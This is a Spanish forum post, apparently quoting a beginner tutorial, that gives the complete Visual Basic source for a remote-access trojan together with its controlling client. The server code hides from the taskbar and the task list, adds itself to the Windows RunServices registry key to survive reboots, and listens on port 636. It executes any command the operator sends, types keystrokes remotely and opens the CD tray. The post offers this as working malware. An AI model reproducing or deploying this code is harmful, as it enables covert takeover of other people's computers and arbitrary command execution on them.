'Declaraciones API
Private Declare Function mciSendString Lib "winmm.dll" Alias _
"mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Private Declare Function GetCurrentProcessId Lib "Kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "Kernel32" (ByVal _
dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1
'Por si no lo sabes, este evento se produce cuando se carga el formulario
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False 'Ocultar en la barra de tareas.
Me.Visible = False 'Hace invisible el Formulario
Dim H As Long, Ruta As String
Dim Reg As Object 'Declaramos la variable Reg como un objeto
'registramos nuestro servicio y nos escondemos de ctrl+alt+supr:
H = RegisterServiceProcess(GetCurrentProcessId(), RSP_SIMPLE_SERVICE)
Set Reg = CreateObject("wscript.shell") 'Creamos un objeto, para modi-
'ficar el registro
Ruta = "HKLM\software\microsoft\windows\currentversion\runservices\"
'Nos ingresamos en el registro para ejecutarnos cada vez que reinicien:
Reg.RegWrite Ruta & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Winsock1.localport = "636" 'establecemos el puerto del troyano
Winsock1.Listen 'Nos ponemos a escuchar, a la espera de una conexión
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Si el winsock está abierto lo cerramos.
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'Aceptamos la conexión
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, _
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _
ByVal HelpContext As Long, CancelDisplay As Boolean)
'Si ocurre un error, cerramos y volvemos a escuchar.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_Close()
'Si se cierra la conexión, volvemos a escuchar.
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next 'Si ocurre un error que lea la siguiente línea
Dim data1 As String 'Declaramos la variable que recibirá los datos
Winsock1.GetData data1 'Tomamos los datos que nos envían
DoEvents 'Le devolvemos el "control" a Windows
Select Case Mid(data1, 1, 10)'Nos fijámos que acción nos están mandando
Case "#EJECUTAR#"
'Ejecuta el comando que se envíe
Shell Mid(data1, 10, Len(data1) - 1), Right(data1, 1)
Case "#SENDKEYS#"
SendKeys Mid(data1, 10, Len(data1)) 'Envía las teclas al teclado
Case "##OPENCD##"
'Habre la lectora de CDs
mciSendString "set Cdaudio door open", returnstring, 127, 0
Case "#CLOSECD##"
'Cierra la lectora de CDs
mciSendString "set Cdaudio door closed", returnstring, 127, 0
End Select
End Sub
Cliente:
¯¯¯¯¯¯¯¯
Necesitarás varios controles, entre ellos el winsock, obvio. Nótese que los
comandos que enviaremos (#EJECUTAR#, #SENDKEYS#,##OPENCD##,#CLOSECD##, etc)
tienen 10 letras. Esto hace mucho más fácil la escritura del código.
En este ejemplo necesitarás: 5 botones, tres cajas de texto, un timer con
un intervalo de 1000, y el control winsock. Arréglalo para que te quede
como en la FIG1, y luego cambia los nombres de los botones y demás cosas
como en la FIG2. (No soy dibujante de Ascii Art, ni mucho menos, asi que no
se quejen)FIG1:
.-----------------------------------------------------------------.
| Form1 _ X |
|-----------------------------------------------------------------|
| ___________________ .---------------. <Timer1> |
| Label1 |Text1 | | Command1 | <Winsock1> |
| |___________________| '---------------' |
| |
| __Frame1_____________________________________________________ |
| |.----------------. .----------------. ___________________ | |
| || Command2 | | Command4 | |Text2 || |
| |'----------------' '----------------' |___________________|| |
| |.----------------. .----------------. ___________________ | |
| || Command3 | | Command4 | |Text3 || |
| |'----------------' '----------------' |___________________|| |
| |_____________________________________________________________| |
'-----------------------------------------------------------------'
FIG2:
.-----------------------------------------------------------------.
| Troyanos en Visual Basic, By Nemlim _ X |
|-----------------------------------------------------------------|
| ___________________ +---------------+ <Timer1> |
| IP Number|255.255.255.255 | | Conectar | <Winsock1> |
| |___________________| +---------------+ |
| |
| __Acciones___________________________________________________ |
| |.----------------. .----------------. ___________________ | |
| || Abrir CD | | Send Keys | |GeDzAc HaS YoU || |
| |'----------------' '----------------' |___________________|| |
| |.----------------. .----------------. ___________________ | |
| || Cerrar CD | | Ejecutar | |C:\autoexec.bat || |
| |'----------------' '----------------' |___________________|| |
| |_____________________________________________________________| |
'-----------------------------------------------------------------'
'<!--Inicio del codigo del Fomulario1--!>
'------------------------------------Fom1----------------------------------
Dim Conectado As Boolean
Private Sub Form_Load()
Timer1.Interval = 1000
End Sub
Private Sub Command1_Click()
If Text1.Text <> "" Then 'Nos fijamos que el campo text1 no este vacío
Winsock1.Connect Text1.Text, 636 'Conectamos el winsock según el IP
End If
End Sub
Private Sub Command2_Click()
If Conectado = True Then Winsock1.SendData "##OPENCD##"
End Sub
Private Sub Command3_Click()
If Conectado = True Then Winsock1.SendData "#CLOSECD##"
End Sub
Private Sub Command4_Click()
If Conectado = True Then Winsock1.SendData "#SENDKEYS#" & Text2.Text
End Sub
Private Sub Command5_Click()
Dim a As Variant
If Conectado = True Then
a = InputBox("Ingrese número de parámetro:" & vbCrLf & "vbHide=0" + _
vbCrLf & "vbNormalFocus=1" & vbCrLf & "vbMinimizedFocus=2" & vbCrLf + _
"vbMaximizedFocus=3" & vbCrLf & "vbNormalNoFocus=4" & vbCrLf + _
"vbMinimizedNoFocus=6") 'Pedimos ingresar el parámetro de ejecución
'Comprobamos que lo que ingresamos sean números
If InStr(1, a, "1234567890") <> 0 And Len(a) = 1 Then
'Si es así se envían los datos
Winsock1.SendData "#EJECUTAR#" & Text3.Text & a
End If
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
Winsock1.Close 'Cerramos el winsock
End Sub
Private Sub Timer1_Timer()
'Si el winsock está conectado, cambiamos la variable a true
If Winsock1.State <> sckConnected Then
Conectado = False
Else
Conectado = True
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Conectado = True
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As _
String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As _
String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'En caso de error cerramos la conexión
Winsock1.Close
End Sub
'<!--Fin del codigo del Fomulario1--!>
Extraido de un tuto basico de programación para controlar remotamente un pc.
PD. coloca tus mensajes dentro del primer post que pones, no crees otro nuevo.
Ojala te sirva.
Chao